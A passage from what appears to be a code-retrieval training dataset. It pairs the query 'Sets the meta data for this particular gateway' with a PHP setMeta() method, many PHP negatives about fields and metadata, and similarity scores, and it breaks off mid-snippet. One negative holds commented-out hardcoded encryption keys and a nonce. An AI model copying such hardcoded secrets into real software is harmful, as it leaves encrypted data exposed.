getMetaForignKeys(){\n $stmt = $this->query(self::META_FKEYS_SQL);\n if ($stmt === false){\n return array();\n }\n\n $keys = array();\n foreach ($stmt as $row){\n $keys[$row[0] . '.' . $row[1]] = $row[2] . '.' . $row[3];\n }\n\n return $keys;\n }", "public function encrypt();", "protected function fetchFields(){\n $fields = X3::db()->fetchFields($this->modelName);\n $_res = array();\n foreach($fields as $name=>$field){\n $dataType = X3_MySQL_Command::parseMySQLField($field);\n $_res[$name] = $dataType;\n }\n return $_res;\n }", "private function getEncryptionKeys(){\n\t\treturn $this->cryptokeys;\n\t\t/*\n\t\treturn array('REGISTRATION'=> array(\n\t\t\t\t\t\t\t\t\t\t'h'=>array(\n\t\t\t\t\t\t\t\t\t\t\t'hash_size'=> \t64,\n\t\t\t\t\t\t\t\t\t\t\t'hash_key'=>\t'mysecretkey' ),\n\t\t\t\t\t\t\t\t\t\t'c'=>array(\t\n\t\t\t\t\t\t\t\t\t\t\t'nonce'=>\t\t'f5de5a2935a8927268be7a358dbfe73334a7dc38d57f23df',\n\t\t\t\t\t\t\t\t\t\t\t'secretkey'=>\t'8b49a72bb1addff71e630692e2a0c6a0f0cfa3657ff527642700b247364c19e8',\n\t\t\t\t\t\t\t\t\t\t\t'blocksize'=>\t16 )\n\t\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t 'EMAIL'=> \tarray(\n\t\t\t\t\t\t\t\t\t\t'h'=>array(\n\t\t\t\t\t\t\t\t\t\t\t'hash_size'=> \t32,\n\t\t\t\t\t\t\t\t\t\t\t'hash_key'=>\t'mysecretkey' ),\n\t\t\t\t\t\t\t\t\t\t'c'=>array(\t\n\t\t\t\t\t\t\t\t\t\t\t'nonce'=>\t\t'f5de5a2935a8927268be7a358dbfe73334a7dc38d57f23df',\n\t\t\t\t\t\t\t\t\t\t\t'secretkey'=>\t'8b49a72bb1addff71e630692e2a0c6a0f0cfa3657ff527642700b247364c19e8',\n\t\t\t\t\t\t\t\t\t\t\t'blocksize'=>\t16 )\n\t\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t 'PROFILE'=> array(\n\t\t\t\t\t\t\t\t\t\t'h'=>array(\n\t\t\t\t\t\t\t\t\t\t\t'hash_size'=> \t64,\n\t\t\t\t\t\t\t\t\t\t\t'hash_key'=>\t'mysecretkey' ),\n\t\t\t\t\t\t\t\t\t\t'c'=>array(\t\n\t\t\t\t\t\t\t\t\t\t\t'nonce'=>\t\t'f5de5a2935a8927268be7a358dbfe73334a7dc38d57f23df',\n\t\t\t\t\t\t\t\t\t\t\t'secretkey'=>\t'8b49a72bb1addff71e630692e2a0c6a0f0cfa3657ff527642700b247364c19e8',\n\t\t\t\t\t\t\t\t\t\t\t'blocksize'=>\t16 )\n\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t);\n\t\t\t*/\n\t\t\n\t\t\t\t\t \t\t\t\n\t}", "public function fields()\n {\n return [];\n }", "public function fields()\n {\n return [];\n }", "public function fields()\n {\n return [];\n }", "public function fields()\n {\n return [];\n }", "public function fields()\n {\n return [];\n }", "public function getFields()\n {\n return array_keys($this->fields);\n }", "public function pubFields()\n {\n $fields = array();\n\n foreach ($this as $column => $value) {\n $fields[$column] = 'column';\n }\n\n // FIXME From Doctrine: prevent mapped Doctrine_Records from being displayed fully\n foreach ($this->_values as $key => $value) {\n $fields[$key] = 'value';\n }\n\n foreach ($this->_table->getRelations() as $key => $relation) {\n if (strpos($key, 'Clip_Model_Relation') !== 0) {\n $fields[$key] = 'relation';\n }\n }\n\n // reorder the fields conveniently\n $reorder = array(\n 'core_title' => 'map',\n 'core_uniqueid' => 'map',\n 'core_tid' => 'map',\n 'core_pid' => 'value',\n 'core_author' => 'value',\n 'core_creator' => 'map',\n 'core_approvalstate' => 'map'\n );\n $fields = array_merge($reorder, $fields);\n\n return $fields;\n }", "public static function fields()\n\t{\n\t\t// Site id for multi-site installations\n\t\treturn array(\n\t\t\t'id' => array('type' => 'int', 'primary' => true, 'serial' => true),\n \t'site_id' => array('type' => 'int', 'index' => true, 'default' => 0)\n\t\t);\n\t}", "private function get_save_array()\n {\n $save_arr = array();\n\n $table_fields = $this->db->list_fields($this->table);\n $model_properties = get_object_vars($this);\n $exclude_fields = array('id', 'table');\n\n foreach ($model_properties as $prop => $val)\n {\n if (in_array($prop, $table_fields) && !in_array($prop, $exclude_fields))\n {\n $save_arr[$prop] = $val;\n }\n }\n\n return $save_arr;\n }", "function flashcard_dbcleaner_add_keys() {\n global $DB;\n\n $flashcardmoduleid = $DB->get_field('modules', 'id', array('name' => 'flashcard'));\n\n $keys = array(\n array('flashcard', 'course', 'course', 'id', ''),\n array('flashcard', 'id', 'course_modules', 'instance', ' module = '.$flashcardmoduleid.' '),\n array('flashcard_card', 'flashcardid', 'flashcard', 'id', ''),\n array('flashcard_card', 'userid', 'user', 'id', ''),\n array('flashcard_deckdata', 'flashcardid', 'flashcard', 'id', ''),\n array('flashcard_userdeck_state', 'flashcardid', 'flashcard', 'id', ''),\n array('flashcard_userdeck_state', 'userid', 'user', 'id', ''),\n );\n\n return $keys;\n}", "public function schemaFields() { \n return $this->allFieldsArray;\n }", "public function schemaFields() { \n return $this->allFieldsArray;\n }", "public static function getAllFieldNames()\n {\n return [\n self::ACTIVE,\n self::DISPLAY_NAME,\n self::EMAIL,\n self::EMPLOYEE_ID,\n self::FIRST_NAME,\n self::GROUPS,\n self::HR_CONTACT_NAME,\n self::HR_CONTACT_EMAIL,\n self::LAST_NAME,\n self::LOCKED,\n self::MANAGER_EMAIL,\n self::PERSONAL_EMAIL,\n self::REQUIRE_MFA,\n self::USERNAME,\n ];\n }", "public function getFields() {\n return array_keys($this->fields);\n }", "public function getArrayableAttributes()\n {\n $attributes = parent::getArrayableAttributes();\n\n foreach ($attributes as $key => $attribute) {\n if ($this->encryptable($key)) {\n $attributes[$key] = $this->decryptAttribute($attribute);\n }\n }\n\n return $attributes;\n }", "public function inject_fields() {\n return array(\n '__inject__'\n );\n }" ]
[ "0.80287063", "0.6619617", "0.63983643", "0.6392238", "0.63796204", "0.63113254", "0.63083416", "0.6220117", "0.6115488", "0.60718364", "0.60633224", "0.6005806", "0.59667265", "0.5961733", "0.58526427", "0.5845258", "0.5839522", "0.5839522", "0.58386797", "0.5835589", "0.5829338", "0.5818566", "0.5809181", "0.5803654", "0.58014244", "0.5797204", "0.5762927", "0.57579964", "0.5755913", "0.5738992", "0.57354856", "0.5726658", "0.57157737", "0.5711622", "0.57067096", "0.57053477", "0.57044655", "0.5704019", "0.57013273", "0.56934947", "0.5692983", "0.5688626", "0.5670048", "0.5665113", "0.56616074", "0.5652686", "0.5647439", "0.56434244", "0.564257", "0.56351143", "0.56300735", "0.562942", "0.56291354", "0.56253034", "0.5607803", "0.5601044", "0.5591363", "0.55904764", "0.55897963", "0.5585112", "0.55846715", "0.55713725", "0.5570338", "0.55669427", "0.55653757", "0.553014", "0.5527484", "0.5508135", "0.5506965", "0.54739887", "0.5473088", "0.5471882", "0.5471882", "0.5471882", "0.5471882", "0.5471882", "0.54643196", "0.5459487", "0.54577124", "0.54568857", "0.54564583", "0.5455976", "0.54501784", "0.5449639", "0.5446347", "0.5446347", "0.5446347", "0.5446347", "0.5446347", "0.5442974", "0.54423785", "0.5441188", "0.54394597", "0.5436703", "0.5435073", "0.5435073", "0.5433733", "0.54277885", "0.5423002", "0.54151607" ]
0.8025748
1
Sets the meta data for this particular gateway
public function setMeta(array $meta=null) { $this->meta = $meta; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function setMetaInfo($meta) {\n $this->meta = $meta;\n }", "public function setMetaData($metaData);", "protected function setup_metadata() {\n\t\tif ( $this->get_meta_type() ) {\n\t\t\t$this->fill( $this->get_metadata() );\n\t\t}\n\t}", "public function useMetaData()\n {\n $this->render();\n $metaData = $this->param('meta_data');\n if ($metaData) {\n if (!empty($metaData['layout.yml'])) {\n $layoutData = BYAML::i()->parse(trim($metaData['layout.yml']));\n BLayout::i()->addLayout('viewproxy-metadata', $layoutData)->applyLayout('viewproxy-metadata');\n }\n if (($head = $this->view('head'))) {\n foreach ($metaData as $k=>$v) {\n $k = strtolower($k);\n switch ($k) {\n case 'title':\n $head->addTitle($v); break;\n case 'meta_title': case 'meta_description': case 'meta_keywords':\n $head->meta(str_replace('meta_','',$k), $v); break;\n }\n }\n }\n }\n return $this;\n }", "public function useMetaData()\n {\n if (!$this->getParam('meta_data')) {\n $this->collectMetaData();\n }\n\n $metaData = $this->getParam('meta_data');\n if ($metaData) {\n if (!empty($metaData['layout.include'])) {\n $this->BLayout->applyLayout($metaData['layout.include']);\n }\n if (!empty($metaData['layout.yml'])) {\n $layoutData = $this->BYAML->parse(trim($metaData['layout.yml']));\n $this->BLayout->addLayout('viewproxy-metadata', $layoutData)->applyLayout('viewproxy-metadata');\n }\n if (($head = $this->view('head'))) {\n foreach ($metaData as $k => $v) {\n $k = strtolower($k);\n switch ($k) {\n case 'title':\n $head->addTitle($v);\n break;\n \n case 'set_title':\n $head->setTitle($v);\n break;\n\n case 'meta_title': \n case 'meta_description': \n case 'meta_keywords':\n $head->meta(str_replace('meta_', '', $k), $v); \n break;\n }\n }\n }\n }\n return $this;\n }", "public function setMeta($meta)\n {\n $this->setValue('meta', $meta);\n }", "public function setMeta($meta)\n {\n $this->setValue('meta', $meta);\n }", "protected function set_meta( $meta ) {\n\t\t$this->meta = wp_parse_args( $meta, $this->meta );\n\t}", "private function updateMetas() {\n if( is_null($this->Metas) )\n $this->Metas = array();\n\n $this->Metas[0] = '<meta http-equiv=\"Content-Type\" content=\"' . $this->ContentType . '; charset=' . $this->Charset . '\" />';\n }", "protected function save_meta() {}", "public function setMeta(array $meta)\n {\n $this->meta = $meta;\n }", "function metaInit () {\n $this->imageMeta = new ImageMeta($this->getImagePath());\n $this->imageMeta->getMeta();\n }", "protected function setMeta(array $meta)\n\t{\n\t\t$this->meta = $meta;\n\n\t\tforeach ($this->meta as $key => $value)\n\t\t{\n\t\t\t$this->router->setGlobal(sprintf('route_%d_%s', $this->index, $key), $value);\n\t\t}\n\t}", "protected function setSubmittedMeta()\n {\n $this->setDataObject( new Tagline, 'tagline' );\n $this->content_obj->setMeta( 'tagline', $this->tagline->get() );\n \n $this->setImage( new Image, 'image_secondary' );\n if ( $this->image_secondary->get('file_name') ) {\n $this->content_obj->setMeta('image_secondary', $this->image_secondary->getFullName() );\n $this->processImage( 'image_secondary' );\n }\n \n $this->setDataObject( new Video, 'video' );\n $this->content_obj->setMeta( 'video', $this->video->get() );\n \n $this->setDataObject( new VideoDescription, 'video_description' );\n $this->content_obj->setMeta( 'video_description', $this->video_description->get() );\n \n $this->setDataObject( new SelectableCharity, 'selectable' );\n $this->content_obj->setMeta( 'selectable', $this->selectable->get() );\n \n $this->setDataObject( new Rank, 'rank' );\n $this->content_obj->setMeta( 'rank', $this->rank->get() );\n \n $this->setDataObject( new Url, 'url' );\n $this->content_obj->setMeta( 'url', $this->url->get() );\n }", "public function setMetaInfo($data = array()) {\n $this->metaInfo = array_merge($this->metaInfo, $data);\n }", "private function save_paypal_meta_data()\n {\n $postMeta = [\n 'payer_email' => 'Payer PayPal address',\n 'first_name' => 'Payer first name',\n 'last_name' => 'Payer last name',\n 'payment_type' => 'Payment type',\n ];\n\n foreach ($postMeta as $key => $name) {\n $value = wc_clean($this->request->get($key, FILTER_DEFAULT));\n $value and update_post_meta($this->order->get_id(), $name, $value);\n }\n }", "public function setMeta($key, $value)\n {\n }", "protected function applyMeta(): void\n {\n $this->state->mergeIntoArray('tca.meta', $this->cache->get(static::TCA_META_CACHE_KEY, []));\n }", "protected function addMeta() {\n foreach ($this->meta_info as $key => $meta) {\n $this->header.=\"<meta name='\" . $key . \"' content='\" . $meta . \"' /> \\n\";\n }\n }", "private function packMeta()\n {\n $transport = $this->modx->fromJSON(file_get_contents(__DIR__ . '/../transport.json'));\n unset($transport['support']['db']);\n\n $this->builder->setPackageAttributes([\n 'changelog' => file_get_contents(__DIR__ . '/../meta/changelog.txt'),\n 'license' => file_get_contents(__DIR__ . '/../meta/license.txt'),\n 'readme' => file_get_contents(__DIR__ . '/../meta/readme.txt'),\n 'requires' => $transport['support']\n ]);\n }", "protected function _setTemplateMeta(){\n $this->template->project_name = $this->config['project']['name'] ;\n $this->template->title = $this->config['view']['title'] ;\n $this->template->keywords = $this->config['view']['keywords'];\n $this->template->description = $this->config['view']['description'];\n }", "public function setMetadata($metadata) {}", "public function setMetadata($metadata) {}", "public function setMeta(array $meta = null)\n {\n $this->meta = $meta;\n }", "abstract public function setMetas();", "function populate_network_meta($network_id, array $meta = array())\n {\n }", "public function setMeta( KCommandContext $context )\n {\n $data = $context->data;\n \n $entity = $this->getItem();\n \n $plugins = KConfig::unbox( pick( $data->plugins, array() ) );\n \n $entity->setPluginsValues( $plugins );\n }", "private function _populatePromotorMeta()\n {\n return $this->promotor_meta->set(\n $this->promotorNewsData['promotor_ID'], \n $this->promotorNewsData['name'], \n $this->promotorNewsData['content']\n );\n }", "public function setMeta(array $data) : SourceParser\n\t{\n\t\t$this->meta = $data;\n\n\t\treturn $this;\n\t}", "public function setMeta($data): JsonResponse\n {\n $this->meta = $data;\n\n return $this;\n }", "function setMetas($metas = array())\n\t{\n\t\t$defaultMetas = array('Robots'=>'all');\n\t\t$finalMetas = array_merge($defaultMetas,$metas);\n\t\t$metas = '';\n\t\tforeach($finalMetas as $name => $content)\n\t\t\t$metas .= '<meta name=\"'.$name.'\" content=\"'.htmlentities($content).'\" />';\n\t\t$this->setVar(\"meta\",$metas);\n\t}", "private function readMetaConfig(){\r\n\t\tif($this->CI->config->item('zt_head_meta')){\r\n\t\t\t$metaTags = $this->CI->config->item('zt_head_meta');\r\n\t\t\t$meta = null;\r\r\n\t\t\tforeach($metaTags as $metaTag){\r\n\t\t\t\tif(isset($metaTag[\"type\"])){\r\t\t\t\t\tif(isset($metaTag[\"lang\"]) && $metaTag[\"lang\"] && !empty($this->langService)){\r\t\t\t\t\t\t$meta = new Meta($metaTag[\"type\"], $metaTag[\"name\"], $this->langService->GetPrimaryWithSubLangCode());\t\r\t\t\t\t\t} else {\r\t\t\t\t\t\t$meta = new Meta($metaTag[\"type\"], $metaTag[\"name\"], $metaTag[\"content\"]);\t\r\t\t\t\t\t}\r\n\t\t\t\t} else {\r\n\t\t\t\t\t$meta = new Meta(Meta::TYPE_NAME, $metaTag[\"name\"], $metaTag[\"content\"]);\r\n\t\t\t\t}\r\r\n\t\t\t\t$this->head->AddMetaTag($meta);\r\n\t\t\t}\r\n\t\t}\r\r\n\t}", "function setMeta($metaData)\n {\n $meta = $this->getMeta();\n $meta->clean()->import($metaData);\n return $this;\n }", "public function setMeta(array $data)\n {\n $this->meta = [];\n\n foreach ($data as $key => $item) {\n $this->addMeta($key, $item);\n }\n }", "public function setMetadata($metadata)\n\t{\n\t\t$this->vars['metadata'] = $metadata;\n\t}", "public function set_metadata ($metadata) {\n $this->metadata = $metadata;\n }", "protected function set_meta_desc()\r\r\n {\r\r\n define('_KEYWORDS',_BUY_ONLINE);\r\r\n define('_DESCRIPTION',_BUY_ONLINE);\r\r\n define('_TITLE_PAGE',_BUY_ONLINE);\r\r\n }", "public function setMetaFrom($object);", "public function __construct() {\n\t\t\t//$this->meta_description = \"<enter description>\";\n\t\t\t//$this->meta_keywords = \"<enter keywords>\";\t\n\t\t}", "public function set_current_location() {\n\t\t\t$this->location_id = get_the_ID();\n\t\t\t$meta_data = $this->wpseo_local_locations_repository->get( [ 'id' => $this->location_id ] );\n\n\t\t\t$this->location_meta['business_type'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_type'] : '';\n\t\t\t$this->location_meta['business_address'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_address'] : '';\n\t\t\t$this->location_meta['business_address_2'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_address_2'] : '';\n\t\t\t$this->location_meta['business_city'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_city'] : '';\n\t\t\t$this->location_meta['business_state'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_state'] : '';\n\t\t\t$this->location_meta['business_zipcode'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_zipcode'] : '';\n\t\t\t$this->location_meta['business_country'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_country'] : '';\n\t\t\t$this->location_meta['business_phone'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_phone'] : '';\n\t\t\t$this->location_meta['business_phone_2nd'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_phone_2nd'] : '';\n\t\t\t$this->location_meta['business_fax'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_fax'] : '';\n\t\t\t$this->location_meta['business_email'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_email'] : '';\n\t\t\t$this->location_meta['business_url'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_url'] : '';\n\t\t\t$this->location_meta['business_vat'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_vat'] : '';\n\t\t\t$this->location_meta['business_tax'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_tax'] : '';\n\t\t\t$this->location_meta['business_coc'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_coc'] : '';\n\t\t\t$this->location_meta['business_price_range'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_price_range'] : '';\n\t\t\t$this->location_meta['business_currencies_accepted'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_currencies_accepted'] : '';\n\t\t\t$this->location_meta['business_payment_accepted'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_payment_accepted'] : '';\n\t\t\t$this->location_meta['business_area_served'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_area_served'] : '';\n\t\t\t$this->location_meta['coords']['lat'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['coords']['lat'] : '';\n\t\t\t$this->location_meta['coords']['long'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['coords']['long'] : '';\n\t\t\t$this->location_meta['business_timezone'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_timezone'] : '';\n\t\t\t$this->location_meta['business_logo'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['business_logo'] : '';\n\t\t\t$this->location_meta['custom_marker'] = ! empty( $meta_data ) ? $meta_data[ $this->location_id ]['custom_marker'] : '';\n\t\t}", "public function setMeta($key, $value): void\n {\n /** @var HasMetadataInterface $this */\n $meta = Meta::metable(static::class, $this->id)\n ->where('key', $key)->first();\n\n if ($meta === null) {\n $meta = new Meta;\n $meta->key = $key;\n }\n\n $meta->value = $value;\n\n $this->meta()->save($meta);\n }", "public function set_meta( $meta, $single = false ) {\n\t\t$this->meta = wp_parse_args( $meta, $this->meta );\n\n\t\tif ( $single ) {\n\t\t\tupdate_comment_meta( $this->id, key( $meta ), $meta[ key( $meta ) ] );\n\t\t} else {\n\t\t\tupdate_comment_meta( $this->id, APP_REPORTS_C_DATA_KEY, $this->meta );\n\t\t}\n\t}", "protected function setMeta($title = '', $desc = '', $keywords = '')\n {\n $this->meta['title'] = $title;\n $this->meta['desc'] = $desc;\n $this->meta['keywords'] = $keywords;\n }", "public function setMetas($meta)\n {\n if (empty($meta)) {\n return;\n }\n\n foreach ($meta as $key => $value) {\n if (is_callable($value) && !is_string($value)) {\n $value = $value($this);\n }\n\n $this->setMeta($key, $value);\n }\n }", "protected function save_meta() {\n\t\t// save report meta details\n\t\tupdate_comment_meta( $this->id, APP_REPORTS_C_DATA_KEY, $this->get_meta() );\n\t}", "protected function initMeta($attr)\n {\n if (isset($attr[\"id\"])) {\n $this->meta[\"id\"] = $attr[\"id\"];\n }\n\n if (isset($attr[\"class\"])) {\n $this->meta[\"class\"] = $attr[\"class\"];\n }\n\n if (isset($attr[\"html\"])) {\n $this->meta[\"html\"] = $attr[\"html\"];\n }\n\n if (isset($attr[\"properties\"])) {\n $this->meta[\"properties\"] = $attr[\"properties\"];\n if (is_array($this->meta[\"properties\"])) {\n foreach ($this->meta[\"properties\"] as $att => $val) {\n $this->meta[\"prop\"] .= \" {$att} = '{$val}'\";\n }\n }\n }\n\n }", "public function setMetadata($metadata)\n {\n $this->metadata = $this->message['metadata'] = $metadata;\n }", "public function setMeta($value)\n {\n $this->meta = $value;\n return $this;\n }", "public function meta_data( $meta_key, $key ) {\n\t\t$this->data['meta_data'][ $meta_key ] = $key;\n\t}", "public function setMeta($name, $value)\n\t{\n\t\t$this->metaValues[$name] = $value;\n\t}", "private function set_meta( $key, $value ) {\n\t\tupdate_post_meta( $this->get_id(), $key, $value );\n\t}", "public function set_meta( $key, $value ) {\n\t\t$this->data['meta'][ $key ] = $value;\n\n\t\treturn $this;\n\t}", "public function setConnectionData($data)\n {\n $this->metadata = $data;\n }", "public function setMeta($key, $value): void\n {\n $this->setMetaWithoutReload($key, $value);\n $this->reload();\n }", "public function initializeByMeta($meta)\n {\n }", "public function setMetadata($metadata)\n {\n $this->metadata = $metadata;\n }", "function set_metadata($name, $value) {\n if ($name && $value)\n $this->metadata[$name] = $value;\n }", "public function setDatas()\n\t{\n\t\t$this->data[\"skeleton\"] = $this->getSkeleton();\n\t\t$this->data[\"css\"] = $this->getCss();\n\t\t$this->data[\"javascript\"] = $this->getJavascript();\n\t\t$this->data[\"module\"] = $this->getModule();\n\t\t$this->data[\"site\"] = $this->getSite();\n\t\t\t\t\t\t\n\t\t$this->_nodeName = $this->getNodeName();\n\t\t$this->_value = $this->getNodeValue();\n\t}", "public function setMetadata($metadata)\n {\n $this->metadata->set($metadata);\n }", "private function set_metafile_fields(){\n\n\t\t\t// add more fields for your requierements\n $custom_fields = array( \n\t\t\t\t'field_name1'\t=> __( 'field name 1', self::$plugin_obj->class_name ),\n\t\t\t\t'field_name2'\t=> __( 'field name 2', self::$plugin_obj->class_name ),\n\t\t\t\t'field_name3'\t=> __( 'field name 3', self::$plugin_obj->class_name ),\n\t\t\t );\n\n\n foreach( $custom_fields as $custom_attrname => $custom_value){\n self::$metafile_fields->$custom_attrname = $custom_value;\n } \n\n }", "public function setMetaData(array $meta)\n {\n $this->meta = $meta;\n return $this;\n }", "private function _populatePromotorMetaEmpty()\n {\n return $this->promotor_meta->set(\n $this->promotorNewsEmptyData['promotor_ID'], \n $this->promotorNewsEmptyData['name'], \n $this->promotorNewsEmptyData['content']\n );\n }", "function wck_add_meta(){\n\t\tparent::wck_add_meta();\n\t}", "public function setMeta($key, $value)\n {\n if (!isset($this->response['meta'])) {\n $this->response['meta'] = [];\n }\n\n $this->response['meta'][$key] = $value;\n \n return $this;\n }", "public function autoSet()\n {\n $this->setInfo();\n $this->setParams();\n $this->extractRoutingInfo();\n }", "function client_meta_init()\n{\n add_meta_box('client_meta', 'Ссылка', 'client_meta_setup', 'client', 'side', 'low');\n // add a callback function to save any data a user enters in\n add_action('save_post','client_meta_save');\n}", "public function setMetaboxes() {\n $metaboxTemp = new Metabox();\n\n $args = array(\n // ## Certification ##\n array(\n 'id' => self::MTB_CERT,\n 'title' => 'Certification Type',\n 'callback' => array($metaboxTemp, 'certification'),\n 'screen' => self::POST_TYPE_BADGES,\n 'context' => 'side',\n 'priority' => 'high',\n ),\n // ## Target ##\n array(\n 'id' => self::MTB_TARGET,\n 'title' => 'Target Type',\n 'callback' => array($metaboxTemp, 'target'),\n 'screen' => self::POST_TYPE_BADGES,\n 'context' => 'side',\n 'priority' => 'high',\n ),\n );\n\n $this->settings->loadMetaBoxes($args);\n }", "public function getMeta(){\n // $this->meta();\n }", "public function getMeta() {\n return $this->meta;\n }", "protected function setProperties()\n {\n foreach ($this->data as $key => $value) {\n $this->$key = $value;\n }\n }", "function createMetaData()\n\t{\n\t\tparent::createMetaData();\n\t\t$this->saveAuthorToMetadata();\n\t}", "public function setMeta($key, $value = null)\n {\n collect(is_array($key) ? $key : [$key => $value])->each(function ($value, $key) {\n update_user_meta($this->ID, $key, $value);\n });\n }", "function set_gateway($gateway_slug, $args) {\n\n // Set payments gateway\n md_set_gateway($gateway_slug, $args);\n \n }", "protected function addCustomFieldset()\n {\n $this->meta = array_merge_recursive(\n $this->meta,\n [\n static::NOTE_FIELD_INDEX => $this->getFieldsetConfig(),\n ]\n );\n }", "public function setRequestData()\n {\n $this->setHeaderInformation();\n }", "function set_meta_objs($meta_objs) {\n $this->meta_objs = $meta_objs;\n }", "protected function storeConnectionMetadata(){\n }", "public function getMeta();", "public function getMeta();", "public function store(AbstractMeta $meta)\n {\n }", "protected function writeMetadata() {\n $_SESSION[self::METADATA_KEY] = $this->metadata;\n }", "public function meta()\n {\n return $this->meta;\n }", "public function uploadMeta()\n\t{\n global $mysql;\n\n Debug::log('<hr><h1>Beginning meta update</h1><hr>', LEVEL_MAIN);\n \n $startTime = new DateTime();\n\n\t\t$version = $this->getVersionNumberFromFolder($this->folderlocation);\n\n\t\tif ($this->getVersionExistsInDatabase($version, $this->versionId) == null)\n\t\t{\n Debug::log('New version detected', LEVEL_MINIMUM);\n\n // Todo: Migrate to stored procedure\n $mysql->insert('wot_versions', array('version' => $version, 'published' => time()));\n\n $this->versionId = $mysql->getLastUpdatedId();\n\t\t}\n \n $this->deserializeWoTMetaFiles();\n $this->copyTranslationFiles();\n $this->updateTranslations();\n \n $this->vehicles_path = 'versions/' . $this->version . '/';\n \n $this->ImportEquipment();\n $this->ImportTankInformation();\n\n\n Debug::log('<hr><h1>Completed meta upate</h1>', LEVEL_MAIN);\n Debug::log('Meta update took '.$startTime->diff(new DateTime())->format('%I minutes and %S seconds'), LEVEL_MAIN);\n \n\t}", "protected function saveMeta($meta){\r\n\t//System::dump($meta);\r\n\t\r\n\tforeach($meta as $item){\r\n\t\t\r\n\t\tif((string)$item->row->attributes()->system_type=='bool'){\r\n\t\t\t$postvalue = !isset($this->sourceData['meta_value_'.(string)$item->row->name]) ? 0: 1;\r\n\t\t}elseif((string)$item->row->attributes()->system_type=='text' || ( (string)$item->row->attributes()->system_type=='blob' && (string)$item->row->attributes()->cleanup==1 ) ){\r\n\t\t\t$postvalue = Filter::makeSafeString($this->sourceData['meta_value_'.(string)$item->row->name]);\r\n\t\t}else{\r\n\t\t\t$postvalue = $this->sourceData['meta_value_'.(string)$item->row->name];\r\n\t\t}\r\n\t\t\r\n\t\t$value = DataValidator::saveData($postvalue, (string)$item->row->attributes()->system_type);\r\n\t\t\r\n\t\t$metaEx = $this->metaRowExists((int)$item->row->name);\r\n\r\n\t\tif($this->id==0 || $metaEx==0){\r\n\t\t\t$id_connect = $this->id==0 ? (int)$this->lastInsert: (int)$this->id;\r\n\t\t\t$q = \"INSERT INTO \"._SQLPREFIX_.$this->metaDataTableName.\" (\".$this->metaConnectId.\", id_meta, \".(string)$item->row->attributes()->system_type.\"_value ) VALUES (\";\r\n\t\t\t$q .= \"'\".Db::escapeField($id_connect).\"', '\".(int)$item->row->name.\"'\".\", '\".Db::escapeField($value).\"')\";\r\n\t\t\r\n\t\t}else{\r\n\t\t\t$id_connect = (int)$this->id;\r\n\t\t\t$q = \"UPDATE \"._SQLPREFIX_.$this->metaDataTableName.\" SET \";\r\n\t\t\t$q .= (string)$item->row->attributes()->system_type.\"_value = '\".Db::escapeField($value).\"' WHERE \".$this->metaConnectId.\" = '\".$id_connect.\"' AND id_meta = '\".(string)$item->row->name.\"'\";\r\n\t\t\t\r\n\t\t}\r\n\t\t\r\n\t\t//echo $q.'<br />'; \r\n\t\tDb::query($q);\r\n\t}\r\n}", "public function setMetaTags($seo)\n {\n $this->pageTitle = $seo->title;\n $this->keywords = $seo->keywords;\n $this->description = $seo->description;\n }", "private function import_metas() {\n\t\tWPSEO_Meta::replace_meta( '_aioseop_description', WPSEO_Meta::$meta_prefix . 'metadesc', $this->replace );\n\t\tWPSEO_Meta::replace_meta( '_aioseop_keywords', WPSEO_Meta::$meta_prefix . 'metakeywords', $this->replace );\n\t\tWPSEO_Meta::replace_meta( '_aioseop_title', WPSEO_Meta::$meta_prefix . 'title', $this->replace );\n\t}", "public function addMeta(Meta $meta) {\n $this->meta[$meta->getName()] = $meta;\n }", "function photos_setMeta ($photo_id, $title, $description) {\n\t\t$response = $this->execute(array('method' => 'flickr.photos.setMeta', 'photo_id' => $photo_id, 'title' => $title, 'description' => $description));\n\t\t$object = unserialize($response);\n\t\tif ($object['stat'] == 'ok') {\n\t\t\treturn TRUE;\n\t\t} else {\n\t\t\t$this->setError($object['message'], $object['code']);\n\t\t\treturn FALSE;\n\t\t}\n\t}", "public function getMeta()\n {\n return $this->meta;\n }", "public function getMeta()\n {\n return $this->meta;\n }", "public function getMeta()\n {\n return $this->meta;\n }", "public function getMeta()\n {\n return $this->meta;\n }", "public function getMeta()\n {\n return $this->meta;\n }", "public function addMeta($key, $value)\n {\n $this->meta[$key] = $value;\n }", "public function getMeta() {\n return $this->meta;\n }", "protected function setGateway($gateway)\n {\n $this->gateway = $gateway;\n }", "protected function saveMeta() {\n if (empty($this->_metaModified)) {\n // no dirty attributes, nothing to deal with\n return;\n }\n\n $owner = static::tableName();\n $owner_id = $this->{static::meta_id_field()};\n $metaBatchInsert = [];\n\n $mpLen = strlen(static::meta_prefix());\n\n foreach ($this->_metaModified as $key => $mode) {\n // get key without prefix\n $db_key = substr($key, $mpLen);\n\n switch ($mode) {\n case self::META_ADDED:\n $attrs = [\n 'owner' => $owner,\n 'owner_id' => $owner_id,\n 'meta_key' => $db_key,\n 'meta_value' => (string)$this->_meta->$key\n ];\n // the code below is very slow\n $um = new Meta($attrs);\n if 